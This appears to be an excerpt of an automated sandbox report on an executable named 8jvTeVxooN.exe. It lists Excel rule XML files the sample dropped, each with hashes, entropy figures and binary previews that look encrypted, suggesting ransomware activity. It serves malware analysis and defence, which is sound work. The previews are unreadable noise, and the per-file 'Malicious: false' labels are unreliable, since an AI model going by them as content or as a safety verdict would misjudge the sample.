Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.80173128777313
Encrypted:	false
SSDEEP:	24:v4FJDonTs3spOoUhDUniaYzDe2Im2upghXaObD:v4FJDow8pOoUhDUniaYeBTmghX9D
MD5:	84CF847B42C827CFE8F747885470A916
SHA1:	A5FB7F9211B1B96BF25A4DF1BD51796F26242CB6
SHA-256:	3D84F9143ADEE026779C239A44D2ECDA4785A395B1E222A934A24ECE99517D02
SHA-512:	9C6A3C27A458ADB42E5BFA899258E1F5E5330B56B35CA74D3A6EC98EC85E2D1C6470C63CF15C1D762338FDE00AC29EC50BEC82CDC8AF792F1AA0C0EC9D05E37E
Malicious:	false
Preview:	<?xml..O.4......gl.q.i.-.\|.....P-.e^.A..XH..^..^ra..g..E%..\}.4.v.j.Q.... .G....%.`.....S..Qyc.....)P.>0...+......EbL.:..6P..9.......-...!o.4@.!..?q.%v.A.'...Fzw_..#3...8y...6....h.M..F.5...S...\C.....S..y.q.B4....4Q.7..../)..q...}.........<%IC...B..ar... .(..l.c..).@.d.A......,@..r>.....2.o...@.Ed a...T....br.6...'4n5.....D9...Z.N...T04\|...53.2..%.{1..[.8..H.;.SW....X-i.XF.jd&.k....J.....p6.......?F...B...l...u..@.n7...'2D...`+.a..I.H..G<.,.Uk?..;8....,.........q.}.#...C9E.......h.D.^...k..`...#..G.q\|&(N5.J.K...HxR........\...(..%..6......F..SD.%II...#.....@Q.....K.c.ft.T.....`........j...).Ok.....^T.r..-K.. .-.....P.H.....W.......K......}.I.A........yCTg.......]$?..=..r....).m.N..e......]....#......!u..9.G....&rY1.F...........Ih._3I.....Sk20.Z...Ts-..MF.:..c...I...x.......m.:O#._....2....s...!.r.j?..v.]..%......,p@0qMf..h.z\....g..\|.?..i.D!h.{.4....F!..<Y....6.7.vyX..e...y^dEb....6..$......59......PT..r.....^Y..n]..NXuo..f."......J.!s..]d. l?1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.800387565433059
Encrypted:	false
SSDEEP:	24:zicKzaTGzaRRiEmF87IG7k0PV3rtj/wP3KSObD:2cKzatRRJ5T79PV3rtj/q3K1D
MD5:	044BBC37A64EBBBDFBD4457AB1D93D95
SHA1:	B264B1FA33CB1F1D0CE9768A284411C37A8E784F
SHA-256:	124B37ED32BE710D767C108C39C6CFDFAC3FB25FA97125C0BABFE94526E01F29
SHA-512:	8FE6AD2A1E364391E40C37041B668D9DEC525A5505C7F731AB7950D4B9C46FB34FEF110CC891073D384E28619A5E5A50B6572D60855F0920D9A0298CBB63685C
Malicious:	false
Preview:	<?xml...}....\|Yk.D...@.?. c.C..E..y.?.P.,b.....Nlx.%/..$.$~...1.n.I..7}..(.,@.a..\|.-...........O.[...d..S.`g..~i..[.Pf..A.6.0....L..8.........I..,..3...o^r..F2...{.v..L.......wB.......:.L...9..#....od:3.....Px..#...U.!...^.j....4;\..#.8..."D.f0k.....SN.3.v9....D..&ka..B...5...U...X).y..N4....0 ..C..@.P.<F4.o.....e..2..j.L3..........\|..i..a0.......dU...V......Uz$..].4p......I......o...O.q$.. ;.L..(..[vM....$yx..8?&z.%a.c.P...3.t....l...:....%#.?...V...`.......{..B.3.[.\.K.....z.S.....e..1...N7......n....p...].....m...JX..T...6.0.......g.-.^VU...b..){.!.....+...u...{&1.....e1)...H ..t.U....f.V..Z.%.M.\..XY..HJI.At....#.o..!^L.. ..C...H.&u..+..]..........z....9.9...f....=.7.....h....MZ......9...7..z...o.m..L....(......<y..L..=.].)[.x......N...IKV,.....d.X..J....q...h-.&..=9E.P.[f.^.\|..7.CYcW..g@ ..K.....G........#\|.a.rsK......*..gd..k....%.i&.\..........P9...m.{..03^..R..:S....LGB........]3...j2.n.P....5n.KI.I.[,...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.829280072128965
Encrypted:	false
SSDEEP:	24:rRXVGUXNJBsHY7R2kBo9fJxqvItY2mpaAdlwccqVpkyM8pmfObD:9XXDsHYhBwYvItYcAdGcc+j/D
MD5:	A73FA38DE4B8F2496F46F0E02D738F07
SHA1:	4F162085553C7ED0A5552D31D7CD3902AC79672B
SHA-256:	83662181986078CA3BB4DEB1A1782B64F4831E8CF9B8213DC921C5627EC41502
SHA-512:	B173E6B0D094326E4DDE7987FC8B44916852D55352622DE04B3625D5F1C663D9DB64B1CA79D10AEEACB055E84C67418D1EB659490ECE09EB59A6233067CB7A58
Malicious:	false
Preview:	<?xml.^x^.`.....N.O0.S.Z....ug.%@....p...=z`.... ..g....W01...0.SN...V...6,r\|.H.Eh.~...\|..<...M.z.u..0...T%a.k-Y.v...5.X.....'.aj).0x\.1...>..9...(....$....o..%.bX.>:Y=.Z...1....E2~..O.\|.p&..4.6...v9`.$u......4..Ya.m...!..m%n~w...i....uX=....y9.....&S.C...3Ft..=.[..+<.vp.?EK..'...gk...V.}s.,../}c...F....Z....Hr.:zd.O46.t.r..>..\|w..p.g...yMe$.x....3.m..d..L....+....4y.].}1V...:..u.H.!..=UD.:s.4dJM.y~D....U6...fz... ..6...o. ..f.(.........&:.rS.....w.~...L.Ih.9..7i...;..az+.!.L...........qU..bY...\.8...x.ncC.....'....-.....>.F.HWq. .g.k')...$A..T{....u.o..L....-.#...3T5.E.M./.&.<..N...:X"....I.l.B....0.t.].\Z...g.e...J...2.`.k.-_[..(.2(.`.:&..Z#..7.....ss............=...........tT..d.yM....32N78........n>wY>l-.&..Qr.%..V8..!..P_].. ~W.........f.j..Mi6.....{...c.:......!+.\a-6....\....K.{..Y8..M.[6...'.[vx..^.....1lo...3..v.o.X..@n..(f.g..}..s=fjg .%.)..j.t...QF..... ....9.d..V........~n..xj.....(.!b.?.....#.6..&...t...L..!.!. .

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.791421145750805
Encrypted:	false
SSDEEP:	24:flMJs4NLrpE1+wZNJ213Yio7+oy7Ur2XhjOoINRObD:WJ3rakcH08vy7XXhj1INmD
MD5:	F0A59CBE074336294B5679EEB51E3F60
SHA1:	A89A28E556AC07E8A0F80E90C40DAB0FD8CBA9A1
SHA-256:	E48602863E52E8DB7A427B37FC3DA47B9CF4BCB35D8EC577125CF377F4DF38AC
SHA-512:	6C157DFE7820D96DE73D685D66EE963FD9C96000E2E8F5252F28C7FAE063C942E7D18A86723312CDF98C0BABEDC396A756A5B9EA8374166ED8E8A67DD8EA47D4
Malicious:	false
Preview:	<?xml ..t.P..N.h.I.\...k3!C2..G..E.B;E.......-.}.....r...\T....T......5..D .&...'.,K...{...Bwum.zIf.C.....j.T...Y.a....cfV.4L..'..]&.w<...&.......1..A(..... ...c.q;..dZ..#.w./...{1..b.J@Xtk...;.R....h6..l.%3.....?..;h._....H..~....@X.....I..k.i..P.Rh..J3A-.N......4.9..W.x.....p..G.P..d.}...v.....c..n.:...J+...-..(.>o...h.t..%...\|.f......O..aIe....b.......^.}vm........Y.....C.i.Eo.v/...D.H..(..I.....\..-v....i.^.m.br1....(..j....LB..KOo....^9~m.....F..nU.......Y\|>4..w.^t.10.T.^\.P..~`.kn..;.o..,q..`)\|.......r..u^L.....B.....WK.^&...]..#.~....4..i.N....9.c...{.t....vG..+5....j.yS..M.t.O..=R...\..._$.L3c.y..j=M...@..3Sk.2.!A..a..-.5;.A..MK...n.Q...............cf4X3Q.gC.A..>A-..a.O.(.y1....q...z...t.gr."....E.}q.y.O.-......T.. }.O.}[..H.:....h/Y1.....H4O7V..u..=w8.q.T.5A.h.o....;.....n.b5...I...Etv.}. .G\U...Y......+."..]\|$........EH.."2.7.."....e/..hQ..E`.j..jE=..N.W.\b`..+...:]......\.h..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.948495629279881
Encrypted:	false
SSDEEP:	96:4KPa0cK0qQCRj6IkyHPjMhth9bPwTeU5+g5yw:46j0qkIkyvjMhdAeGV5n
MD5:	C3D6D0CCBB6EFE357A99A89CE6F47866
SHA1:	6BED805227417D8E838C5ABFCC2EF4FBC5139A6D
SHA-256:	0F0B60520F498797D91F121485632C35D1A2B804A445579DAAEA4502925A4938
SHA-512:	B1C98AF57E7F5CB93B7CD49FC3BF6ABD91F4D6765229244FE281B2135FCEE38F20D534D5EF1B693F52576504AD4CEE62ED0E0A76E2D972B16C203293DD40324C
Malicious:	false
Preview:	<?xml...A..A..)...#....&.;.c..".......\|.%...6.@+..m..<.....?B.[..h@..............gF4....T$.d8<%`B.n...c.7....L......u...I\....`...KS.../"`V.G.......I..u2..7.C.R`.L.,....3-.._.+.c.;.O@....~+.N.\|..&...SA..u.l}..smo3...{.{......-....{...Nw.........#..+.VW.@qA....m..P.r.....U-3vh..-L..j.5X\|...{C...F.<.....(2.o.".9..f.M..J../..T.Z..'#..`.g...X.'I6.i.#.2..J..Yl.~.Iq....USs.sM.........T.0I.b...3.;..u;.._5F....X..F6(\...X.}..F...x3..Nu%..F.UG-...]Nc..\|=.L9..%].+.FJ.......)q....n...i...n.._...R..P..M3..{.h.L.b./.vk!.}.~....M,c.5......X.O.. .).U.!z..x..U_N........UUZ*.f.v.y..M..F.V.b.P.....v$,.#.B52.-...t...Q..t/....H.._Y.x..(.....?$n].B3"-.(....E..4...s...._..1.d...m@>..$.Z..<.N..l......lh...%<.n...9V.B..9%}E{....6bNg.c.l...J.?Kp...{...V........S......=6..,.z...\..."....a.N.&......%...`...~..EK..?...TB?P].z$BR<p..F.a#8...#..T.........Q...\|Wgd...C^.p..SD&x;..u.S..~.zQ.OYW..Y.iRU.o.......I..-7.n..0....#...JZ$.v.vD...m/.p.H9.@l...`....8.Wu....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.698182028180797
Encrypted:	false
SSDEEP:	24:FIeSTS0QGjF6bH6uWOsF70GJ/TkY8aCAyMbaObD:a33Q4FW6uW9b3vCAvb9D
MD5:	D96813943DCC87E1DA865D1327671B19
SHA1:	69227A8F4E3FE451239052FBABD541989C191489
SHA-256:	2BF5CEA48961932702A01E6B0BA6C777D13549BF297BFBD6B1F93647A1A81707
SHA-512:	E75AB7A36F3615D234ABF3C26924AC967BBB3E90B077018783698DA9B7AA29559AF72DDB3FD2076CF51F16367FF4918E70B18C581BC67F2207FA35F033D0740D
Malicious:	false
Preview:	<?xmld...G.....u.<.....&"=,vp.1'.+HI..<9.'x..>.........p..p+.:T...H..D~..-(S..^Z.........3... p+.....h.&.....D..o..F.-.6.oC....L..4..............4....:.k-..LE.b..W.L...":g../M...z....h..R....X..K._.b[5..k.].J..zN...8..S.d.a.....1..f>.-..........2...A.a.J..C.R.7tec..n~0.;..}.iQ.....vYJ.>...L..A...c....{..N.n..7.`..C4..+y~-a.0..0.P.N.n...1!A.i.:....c...._.,.M.#8....Z.y.@.SZ.O.(....I..5..7..h.....H0.y^Z...'..?.W..b.xo.k.I.X.F..0.._q......p=..E.T.q.q...r...6A...4.;....U.~.+e..E.L@h......./x....v6...OY.g...U.2r....d..OP.....}.N..q..L.'U......o*-[..q.Dt..D,...fw.h......~..P.v..-.%)..8.....5L...bt.#.I..u.fT...._p.4.&fM.H...%....wz.Oer.]Bz.K..Ph..........T.7..]....f...l..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.950408205759946
Encrypted:	false
SSDEEP:	96:RuVRKlkcieVRWzNwNpESEyvyAwEl2OPbWNWrclSADPgsr:RuVRzeV7yAwElTbWNGclSgPzr
MD5:	A02756D9AD094C2D387CE93F0B55342C
SHA1:	354F9988962439B8F6E03E360AA7D3A0A5DA06DA
SHA-256:	ECA3543215E85A4999F605A77719CD8827F98738B2B266A27C544123E6F9A166
SHA-512:	055A01840AA15A834CCC3ED92724EFDE63B9538B35169A4FE0AFDC685A6B915FCC0D83F16E32D8A548204D56408E2759257CD2F6F898B68A8344CCBF47F3C384
Malicious:	false
Preview:	<?xml./......:t..5..~=FF.....sS8./.W7..X..&..X..l/4+.5.'...L3.._..........m\.xW..S..D.4F..+..}....\|k..d.L.E1.)Y.lk..+..#..~.LG...?]\o[..C.M.......~....\|.A-.y.[D.#.....'.N....R'n/....U.Q....n..}.6...D..L....b....u.y.,.;...$`.{[..6~..@....I..7..n...qE...m.c.$...%...b..}.....:.Z...:.L........-S.....p.:dz.......[...3C3.5...Y.2:.m..LK.S.'.0{.....u....>1.3.x..(..v7m..L4......4)......re....jF..x..@.Q9..;.Ze,..=g9.`...v.d.....c.0T..n{t...(.i}_.....J...O.`.kd.%.l.k@..-P>...r......^v"......i...3\..2(.(D7i$euO.O..2e..O~)5..{.2.m.9d,t.....xL..G..P}&+... .....D...n..g.\| ...N..........M..T_BMH.<.s./L....%l..p.,ma.,E\|.o..^..f]fB.'\.....`......X...a...Y.....[.*qQ[.iZX....Bw..pb.'.^&...\|.O.m..5........w..(..C....J...9S...Y..M5h......2l..3..>..B.WS...lm.?..L.9..+...p........?wx....q./.....ak5\|...w...}B#u....b.e`M..> .i....;ZQD.W.....@g....T%_...aA.<)4\_(.+.!.~..}O....bN.....tz..B.gj...i..>..S..L...?.....jm#.m....H....P.0..CX..?iWx...{.9.A...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.848493624686712
Encrypted:	false
SSDEEP:	24:QT0FwdE0MJuIy3KWs5P86XK5PUgjYaJ7BAi6pTP8XKht+tzZXBX21ObD:QT0FsM/y3mX+jYaJ7BOTaKhU9bXtD
MD5:	F663EA901F4FFF5E82B5BA94A3E8363B
SHA1:	4385B06D2756F60780C0E7433A6405B2D1968853
SHA-256:	8FDE6217697A5BAD230424E17C238D87D0B65A620FEE8E101939648089D9FDB7
SHA-512:	DD0E670439F84B3B43593970775D8B902EDCC55209CA474B2B0B8AF5A7F7B41584742294EC148C266226ED68A9910C50A0499B644069F75B6E496D0E7298A27E
Malicious:	false
Preview:	<?xml-.s.'.......{Q.h.>x:;3.;...+..>.M=.a..)G.....aYI/./r..x &\...A.......].>.[..w.]#..Z`%[..\|.....=&....$.0Z.YU..FRnb%..?<O.m..h...\|%X...D.m>.i.{.....Z!a'......u.e.z(..0.EW.I...L%......~r..y...j.#..:......D....KQt.....R.~.......g"...?......j....]..U..._..@...g.Q.i.JJ.....A~;.u....f-@.U-...'.]..3..i..W....e)...g..A..I7^.h...h]..9.z........;cEG..6`.")...3%p.mK.pF.jk<.'.fuJ..Ea.XoV.....fa.......q.O{.K..R......{....h.C... .a].!.......F.7J.U..s.4\|l5.)...1........u.\|...%......K.m.>...(J$...Tg.7./"..r.`I.r.<...........B......y........?i.B...=.........B..r..J..(..T.......$P]....O...Z..}............5?.......=.^...9.Z..h..G..J.?#4.p+......9X!............b..5.z.gT.......t'..P..:RS.s...t.....H..b.S..@p.!Z.B4V..^.G.".\...R>_.\|..wm.5.:.L.C.y...!..<..>..M...p.....jF2....N._.)A...!.Zm.t...8.m.D-j.../..p. ..OJ5i..Y^.....m...Z..[.....6.].u]..$.z......P...\.t^.&.R.Y..c.).K{*,...v.B.P..3f........qsZ\|.<..`y..^c.#.c9..&....=.i...N....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.887335739939231
Encrypted:	false
SSDEEP:	24:DtmYKSXqhCZJcNw9N1IXlYNhfp//oNHwx7lDRr/TSMzaKoH/Wl+ZGqMvnabf+Wwa:AYK0t9NiVYh3s4lDR/joHOPqoaLHKevD
MD5:	F2172B1C9E46C754363FB37853473099
SHA1:	8ED0E3DC84716B28C543E31FC692D7C0DC2323D2
SHA-256:	3440B99690DFEBED638AC44DD5C0451D9763F20B7C1DDA4DD9CA4B8CAF0A9245
SHA-512:	1A228CE35A5C33076A4BE83FF957610D5D6DCFA338A10F6263DC43C36F865A9AE0275FCD8B81E0244E5999B63E4F7138F814ECBF87E74B0EF09CB8A52165CEEA
Malicious:	false
Preview:	<?xmln...G...l..p......(.p..4..../...e;.[..............$...d....Co.X.RU.i.....[.D..^.....& Nz....+.D.....0....b.9Ms..c....O1..8.g{BQERO...V.9E?....\Ws.".DPGfA.!..#.<..3.....[... .^..J.p.p....D.cq.....8.......d.wK.A....&Y...H@=%[....aFx0.....".^U.1v.H.^X.2Q.P....R(Cc................d~.w..;3.H..x.ReH..Z. ..lM..#....e.[....1V.^g.A.7....q.'.87(.f..f?...A.c<.kX......S.<..p$....F...a]O..\|+.S....o3.%.,-.wg.Y6j.N..Y...~....6.......s=G.O..R.I..\|../..H..d..v.G..D.@E.&d.qc..a..`k...+.aW..._BF.V.L.0...],..l/X..K^..l.?..(..;ea.....m.,(....$1.O....'.x..{j......R....."n.;..nLV..[Q?..s....oM.N....fJ..B...S...../.47:.PA~e.....N@...x.{#.....b...d..[BoFd...^...+.%...j....H.U.8@.1.=7.X...:&....NB...A.g....^J..na.s:....O......rBe..../1t...L<.:...}#3...a_.j.gI.......Bl..'...;.B..O.hf...o..u..j.L:.:......K....."...y.....-.....A..%F.e.........N.>I..'..Q..O..sG../..7...V.4lb...e....`...4K.>...D9...Y..c\|..+:...*u..2...U.....hh.....Kr...kz.,..7/..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.749637948697838
Encrypted:	false
SSDEEP:	12:+U6wJbWgcKCAVKjIHySZQhETL/Oh5fkauqGDZucgXr2UJBt/1jeCmjuOcii9a:+U6wEKCwXHXZmETL/tqG820R1fObD
MD5:	6E6B8979611070E5CA883C8A4FCACA72
SHA1:	85F23ADA4D4BFBEF2FC1D6F9C1BB726052F6FAB8
SHA-256:	2D55FFBD995DF52AAC7FBD71261A6A6CF486F24694F27284C9885274C81CE675
SHA-512:	839115C1F5198FD9B7C1FAFCA5BACA8BD05B0A1A102ACD3ED668341CA2182BB68ED1A27295A49BB8DB58BB8C3A265B0A1B699D56618DF0B6EA1809D8EDCA644F
Malicious:	false
Preview:	<?xml4+......L/F>o.{.Dx~...Y'.$JjaS.r.\|..w...s.QDxd..e..-a....H...o?N....o...7....K.^..a...H.3.jX.wkm.!.*1p.tg.....a.....W.=0W.4,..3..6. ...F..W.35GMD<...s.$.2).... .\|..u^.B.....e.k....oh.(.r....".V.........Q....K..!.'.N.}a.....]...=.?...X[.w...o.B_.....`^..`..m.zS...\....Q.ni..M...+y.D.mS2Z.g..%.r.....pEp..../..r.....ii....k'..."...\.NJ.%.5.....1..V....3..........c...#..,..i...Cm..f..[&..<..'.l.$8`RA...`+SUi....a.+,...Q.$..i..X`.7]......... #zb<.k.6:.^...:...R:?......@.b...H2......_Y.v.u!Q.._r!{........p......7.8.Q2D..4,iw^q.z.a......P.,Z{`..I...?T.b....".:..`.O.K.]...H..u....DXv......F-.\|..7`.z..1.....QX..,.C..A....7..nJ..9h...........i[^l..=.N.HFY._.....LV.9.,....K.O.E..Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.827465149732225
Encrypted:	false
SSDEEP:	24:OVfgBmzEKG4QoF3wWYJ9M9qSKHp4yQQIxhsucoZLJJWux/ocxObD:OVIAEv5o5QInsucoZLrWuujD
MD5:	7E5E5DFADC73F0E3F0A7BA831B11B61D
SHA1:	598019773F4097AF966E549CEF2A883A9E5BB324
SHA-256:	1F4F18C405D27DAC09F1BBB4D7DE2F360B75A3A2A982AB81C085EFFD835A3FA0
SHA-512:	840DAD68FDBAA6429BFABD1AFC428600D02D5C587C1C568F4F69827CC7A6865A10E1DBE081CB9416BDEA33BCE65722A64D6488ACB15C5C3408C18E0DF96C8989
Malicious:	false
Preview:	<?xmla........\.;`...k.!..d.6.=..e9........4..!bbI...#%9.....i.JV.....j..LRAr]..+Q.s..M..G.3.4.hG....k.Q..I...x..%.yDV.E.H.b..].D...zv..(...}...) A.T.G.9..\|......g.^I..a/......Z.....E...^...PC.=.....;.Pis.Xa..;..J..i<....=.5.3.N.N.A2../.)l...-o`B.R...A.k"..c4g.$.n..p.p.......:._.fp....Aj..............h..b@....$.;.].."...T.8pZ+W...{...6.O..NRgi..Y..zpX...a..LI..(.:lGm.^..+.?...N......V(Q....g.#;.8.:G....H..5F.......Y...,4..k..$..u....q....!j...".[o..<.\n....~.f.W.:."/q.3..V.,..N.._.._]..;f=...V\ot..m.P..q..U...J..-.e..h..M3F'n..)...h4....=.OD..Z...F..b_..$!......_..R.`<.......t..1.4.......3......n<....5M.......f>........Pl..I.tV......t9\|t.~.I...\.."..'e.VB.....+-..M..]7U.L....{.~3T...rik6.......`.B...{c.....NB.....E.y>.av,R=..zS.Xf...F]..sW.X.E.&.PZ.oT..9j..>....a..r.f....dl+....p>...s......}....Y.4Wk4...f..b.7..(.=..u...[..q..H..,Sr.......7~.}xl0._......."..7.R.7f..w]_......XbQ....X[......;.........2=.%...\..C.6.q..*a&b...{..M.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.825805259318703
Encrypted:	false
SSDEEP:	24:rZMdH/uCsI1QXSR8xUnn0infZplI1++wTPq4ObD:rZ68I10jxUn0wlxTPmD
MD5:	55D177F57A6844603D022551B91849BC
SHA1:	3D090829BF352F75E74B7F77985C9CB461B399B3
SHA-256:	8CCE225AA796198B94EBB4F3CA11C841A4D1C0BB755DF8EC49DAD934DB8FA34F
SHA-512:	253F0CA4EE2BB16C0EE1BBC24B0CE7862B8512D87C8CC60198BA0214A3C792201750B65766E8149B9E6D843A1650649D3DAB3BF125B7BF8D8608C4ABE15FFBD2
Malicious:	false
Preview:	<?xmly.$&.lE.Lb..UE...b.A...m.r0I.l{...`b..k..Qdm.Q.q7...e...+.1.c.....+w.s.W...;W..U.w....Ru...].....\|6.....}.......\|.1.C..W.q...<..)n....ciK..&//.P.Fo..l..C.hX.8.,>..h.......n....+N.../..L..U..vTcv>.Dl.m"..x~.........Q."f.<"...S.V.N.....`R,Q..A...hF.mz..._J.x7F4}@e..O.FO.h.xF......A......1.v......F.......zm.L..C.....?f ..Y..r...5..>0.p!;H.@l.......V...Td.$=..$.\...s.N6.......2.&S]..&..o....,WA...L...h..qC..0.c......:......kn..et.. .'b.^.).pp..wW;<..RH3..z..d.y.E<..h..{.& ..).....$$5.&..Vn....N4s:w...Y....t....M.R.L......{w+.E{..7.%.j..4:.K,.7..~..........(.-...ku....] .hp.I..QJ...@n.....E5.V..L.......h9.T...'q._$t?..."..b....;....X.J"...^Y.. ..!^g.....Z}eU.......:..5.ls.........f..rJ]$.......E.k[......BV~..".9.o...S ...m/......Q9.........x..../....'....\|..Q.h.(..,;.9...`....r.....qpm.......0J...~...6.&m...E....^O..g@"-..i...I..b.+.=0.....\|.i&..,j.E..O..3H.[a.>...h....:h\\|.q\|F................E...w.1...Y..../q.V .Z6iwSvCoAt8T8K2RO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510063v0.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.730199693873164
Encrypted:	false
SSDEEP:	24:fg+j/zCMafROVfxGYZMlXCwa2nbi7uz9G0wObD:f2BZcfxG3Jnb7pD
MD5:	B80D17BF0DB191EFAD3C810358B61921
SHA1:	69398B5269E337E94D4E32ABF7339F45A88E18C0
SHA-256:	64B336D7429CA88FC97E6FAF80CD0C0234692668D1FE16237961F494A3286A2B
SHA-512:	CEDEB3DE48D4F4C58B606C47E46E91949F054E3C766AD1291D073CAECE8AF2FD7E7EB17EFE40470B95BACC343AD9DCC34644921CF1834358AB152DB5B47B286C
Malicious:	false
Preview:	<?xml.FFc.Jz.[..H...E.p..w"...f....[T..v;..f...s..qd-.T..g.U.Y..&...r...0.w....9-....3..(t..1'~..}'.......}X.........).d....*.X6..xT...E......@&n.....?....H...N.%...t.@.\......T.......2.....d..Q...r. ........c....1.....@.J a..!#..;.F.........AhV3...:......1.$$.....C+^o.28OV..a.V.T0.L[...P..=...t....{IA...:6...]..6.)....2.8.)..\..f_..PCG.)s....w~UD3:.9U.....g....:...8..A..8.z.)..\|G..s..7X..2....U....J...b.].=.8o.).....N.......O.za!.k..M......... CZ.!`\!..e.......Z.b.+.{.y{B.G..V.Z..\|.qUR..V...D.Al..p_/.Q......AQ.8.@....%x5.o2...BE.._LzU..^.).k:..u.Ux.......}..}..$F.j,o....mS..?E....]w....0&...{.<Ue....~z...^m2.A.C.GH:..:.8'..u..a..-<.?..........=....@..i']..NW\KA..,c....DU.jZ6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63028v4.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1485
Entropy (8bit):	7.869033428263749
Encrypted:	false
SSDEEP:	24:XFy2/2BgDLCj0QZ9WL5oKNst6zN6ESoy1mEx9dFJ1eNfGghyDtySorWj7A6o7187:X42/2BY20Q4X6AlEVFsfdE0rWu718s8D
MD5:	147F2B66D34F0B0193F77163449472A1
SHA1:	F962AC3B219CDD2D56541BB1E08376D0E6290155
SHA-256:	300F6027533F2E6715F2A2858E58F82510626524DCF02805A2571C8562F14D2F
SHA-512:	2C68A94ACD8B00187F250D2BDF2C18F4838E5F1C35E1D25B35927533E03E94AC24A650C88F09FED8936C38C07D17EBE4BA0B11B74327D113FCF8118294815613
Malicious:	false
Preview:	<?xmlpwL.tzE%..r.....0%f..;..Y.^.l.@.......PB.2..V.......]T.P")..-.`.H..%.....>...1m.=..sR.(M=.VL...g.Q.%.......rnb.QU.@.Z.t"..[...llw.....J.....`{..3D.....U..2.FP.].5..$..G'.........L..v.N>..Q...>Iy...c-.}.....-.i..2.f.I..:..!..4..,\..Q/...cw..."W..4.'..p..e..b.H4.....L..r.ebt>.UC....uLm..........G....@t.{.G....{:.z.K(K...`..}.Sj.G&...0....0+..a;[...U.&j#.....@z...... .6....._b.O.....B..Y. ]3.P..u.!...I;...u\...CaAP...e..g...C.$......(......z.@....j"9.A..-..!Y"iK.../]..xN...F..f..."...../.uD.g.@..L.v...6..t.<N4.B.!..HW.C<.?d.v.....KS?\|.tq$s..?...eBdG..f6J.....].......De.......a.F[.........?.I.vs}......c..8.v..)1.q.M(.c).$.Z.+.....C.._x.0G..Ts ./..F8V..G..7.p..}U2=x...3j'...U+U..;......b .ag.4...f:Ui.....Z.f..s1....!.`.\^......&.."#...s.......F.'Rf.......PY<D........-P(.........fv....+.t.....><P..A.C.c.fS.W!.f..P.....5.YP.Eh.....e.>....,&......#...1&.:...J#L\..Y.G.F^..p.[..g&.............+t.....I...w...D.........;5.]a.....a=1

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule63030v2.xml

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	1340
Entropy (8bit):	7.839801251476363
Encrypted:	false
SSDEEP:	24:uNhZu7xuk12bObKKMOxTOowm9n5OEFApKz7rz5kC6M9sqlFTpObD:u7e6ibqETSm9nwjYzaCds2JeD
MD5:	442BC4D16C37914EB11F8E1FF95B029F
SHA1:	311D5788E45C970F3CA8C67F3D27FEF5D4BB1523
SHA-256:	902600FBB28C06914FACCAB285B1CE2F6BE75CBF024459B9FE49AC0685003E88
SHA-512:	22C592E5C8E49FF6486E81D11523379CA4B5D48481AAB895104DDABC48ECB02802B35B467F451D354192C1594CD4751872E06A3648CF1E36E92D78663CCBECD6
Malicious:	false
